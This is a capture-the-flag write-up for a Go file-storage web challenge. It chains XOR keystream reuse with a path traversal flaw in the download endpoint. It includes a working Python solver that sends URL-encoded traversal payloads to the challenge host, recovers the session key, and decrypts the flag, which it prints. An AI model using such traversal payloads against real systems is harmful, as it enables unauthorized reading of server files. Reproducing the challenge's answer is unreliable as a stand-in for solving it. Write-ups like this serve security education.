//Secure Storage Breakdown
Challenge Category: Web
Difficulty: Medium
Goal: Decrypt the flag stored on the server.
>1. Challenge Overview
We are given a "Secure Storage" web application written in Go. The application allows users to upload files, which are then encrypted and stored in a session-specific directory. We can also download these files.
We are provided with:
-
Source code (
main.go,go.mod, etc.) -
A Dockerfile
-
A remote instance URL.
>2. Initial Analysis
The Encryption Mechanism
Upon inspecting main.go, we find the encryption logic in the xorCopy function:
func xorCopy(dst io.Writer, src io.Reader, key []byte) error {
// ...
for {
n, rerr := src.Read(buf)
if n > 0 {
for i := range n {
out[i] = buf[i] ^ key[(int(pos)+i)%len(key)]
}
// ...
}
// ...
}
return nil
}
This is a simple XOR stream cipher. The critical flaw is in how the key is managed.
In ensureSession, a single 64-byte key is generated for the entire session and stored in the database:
key = make([]byte, keySize)
rand.Read(key)
// ... stored in DB ...
This key is reused for every file uploaded or downloaded within that session.
In cryptography, One-Time Pad (OTP) requires a unique key for every message. Reusing the key (Keystream Reuse) allows for a trivial Known-Plaintext Attack (KPA).
Vulnerability 1: Keystream Reuse
If we know the plaintext ($P$) and the corresponding ciphertext ($C$) of any file, we can recover the key ($K$):
$$K = P \oplus C$$
Accessing the Files
The application exposes a download endpoint:
mux.HandleFunc("GET /download/{file}", s.handleDownload)
func (s *Server) handleDownload(w http.ResponseWriter, r *http.Request) {
// ...
fileName := r.PathValue("file")
filePath := path.Join(dir, fileName)
// Check if the file exists
if _, err := os.Stat(filePath); err == nil {
// ...
err = xorCopy(w, in, key) // Encrypts file from disk and sends to user
// ...
}
}
The application uses path.Join(dir, fileName) to construct the file path.
-
fileNamecomes directly from the URL path parameter{file}. -
path.Joinresolves..elements. -
There is no check to ensure the resulting
filePathis still withindir.
This means if we can send a filename like ../../flag.txt, path.Join will resolve it to /flag.txt (assuming dir is something like /tmp/storage_xxx).
Vulnerability 2: Path Traversal
We can read arbitrary files on the system. When we read them through /download/, the server "kindly" encrypts them with our session key before sending them to us.
>3. Exploitation Strategy
We can chain these two vulnerabilities to get the flag.
Step 1: Obtain a Plaintext/Ciphertext Pair
We need a file whose content we know (Plaintext) and which we can also download through the encryption endpoint (Ciphertext).
The public image logo.png is perfect for this.
-
Download
/logo.pngnormally. This is our Plaintext. -
Download
logo.pngvia the vulnerability:/download/../../app/logo.png.
- We need to use URL encoding (%2e%2e%2f...) to bypass the HTTP router's normalization, ensuring the path traversal payload reaches the application logic.
- The server reads /app/logo.png, encrypts it with our session key, and sends it. This is our Ciphertext.
Step 2: Recover the Key
We have:
-
$P_{logo}$ (Plaintext logo)
-
$C_{logo}$ ($P_{logo} \oplus K$)
We calculate:
$$K = P_{logo} \oplus C_{logo}$$
Since the key repeats every 64 bytes, we just take the first 64 bytes of the result.
Step 3: Decrypt the Flag
- Download the flag via traversal:
/download/../../flag.txt.
- The server reads /flag.txt, encrypts it with $K$, and sends us $C_{flag}$.
- Decrypt it locally:
$$P_{flag} = C_{flag} \oplus K$$
>4. Local Reproduction
First, I built the challenge locally to verify the theory.
# Build and run
docker build -t secure_storage .
docker run -d -p 8080:8080 secure_storage
I wrote a python script (exploit_local.py) implementing the strategy above. Upon running it:
[*] Fetching plaintext logo.png...
[+] Got plaintext logo (599932 bytes)
[*] Fetching encrypted logo.png via traversal...
[+] Got encrypted logo (599932 bytes)
[+] Recovered Key (first 16 bytes): 1f26462710d7...
[*] Fetching encrypted flag via traversal...
[+] Flag: nexus{fake_flag}
It worked perfectly! The path traversal payload required encoded slashes (%2f) to ensure path.Join resolved the traversal correctly after the router parsed the path parameter.
>5. Remote Exploitation
With the script verified, I targeted the remote instance: http://ctf.nexus-security.club:6213/.
Output:
[*] Fetching plaintext logo.png...
[+] Got plaintext logo (599932 bytes)
[*] Fetching encrypted logo.png via traversal...
[+] Got encrypted logo (599932 bytes)
[+] Recovered Key (first 16 bytes): a1a6cd019261...
[*] Fetching encrypted flag via traversal...
[+] Flag: nexus{l34k_7h3_k3y_br34k_7h3_c1ph3r}
Flag: nexus{l34k_7h3_k3y_br34k_7h3_c1ph3r}
>6. Solver Code
Here is the complete Python script used to solve the challenge.
import requests
import sys
# TARGET = "http://localhost:8080"
TARGET = "http://ctf.nexus-security.club:6213"
def xor_bytes(a, b):
return bytes(x ^ y for x, y in zip(a, b))
def main():
s = requests.Session()
print(f"[*] Targeting: {TARGET}")
# 1. Get Plaintext logo.png (Publicly available)
print("[*] Fetching plaintext logo.png...")
r_logo = s.get(f"{TARGET}/logo.png")
if r_logo.status_code != 200:
print("[-] Failed to get logo.png")
sys.exit(1)
plaintext_logo = r_logo.content
# 2. Get Encrypted logo.png via Path Traversal
# We use encoded slashes (%2f) and dots (%2e) to bypass router normalization
# Payload: ../../app/logo.png
print("[*] Fetching encrypted logo.png via traversal...")
payload = "%2e%2e%2f%2e%2e%2fapp%2flogo.png"
url = f"{TARGET}/download/{payload}"
r_enc = s.get(url)
if r_enc.status_code != 200:
print(f"[-] Failed to invoke traversal: {r_enc.status_code}")
print(r_enc.text[:200])
sys.exit(1)
encrypted_logo = r_enc.content
# 3. Derive Key (P XOR C = K)
print("[*] Recovering session key...")
# Recover keystream
keystream = xor_bytes(plaintext_logo, encrypted_logo)
# The key is 64 bytes long
key = keystream[:64]
print(f"[+] Key recovered: {key.hex()}")
# 4. Get Encrypted Flag via Path Traversal
# Payload: ../../flag.txt
print("[*] Fetching encrypted flag...")
flag_payload = "%2e%2e%2f%2e%2e%2fflag.txt"
r_flag = s.get(f"{TARGET}/download/{flag_payload}")
if r_flag.status_code != 200:
print(f"[-] Failed to get flag: {r_flag.status_code}")
sys.exit(1)
encrypted_flag = r_flag.content
# 5. Decrypt Flag (C XOR K = P)
flag = bytearray()
for i in range(len(encrypted_flag)):
flag.append(encrypted_flag[i] ^ key[i % 64])
print(f"\n[+] DECRYPTED FLAG: {flag.decode('utf-8', errors='ignore')}")
if __name__ == "__main__":
main()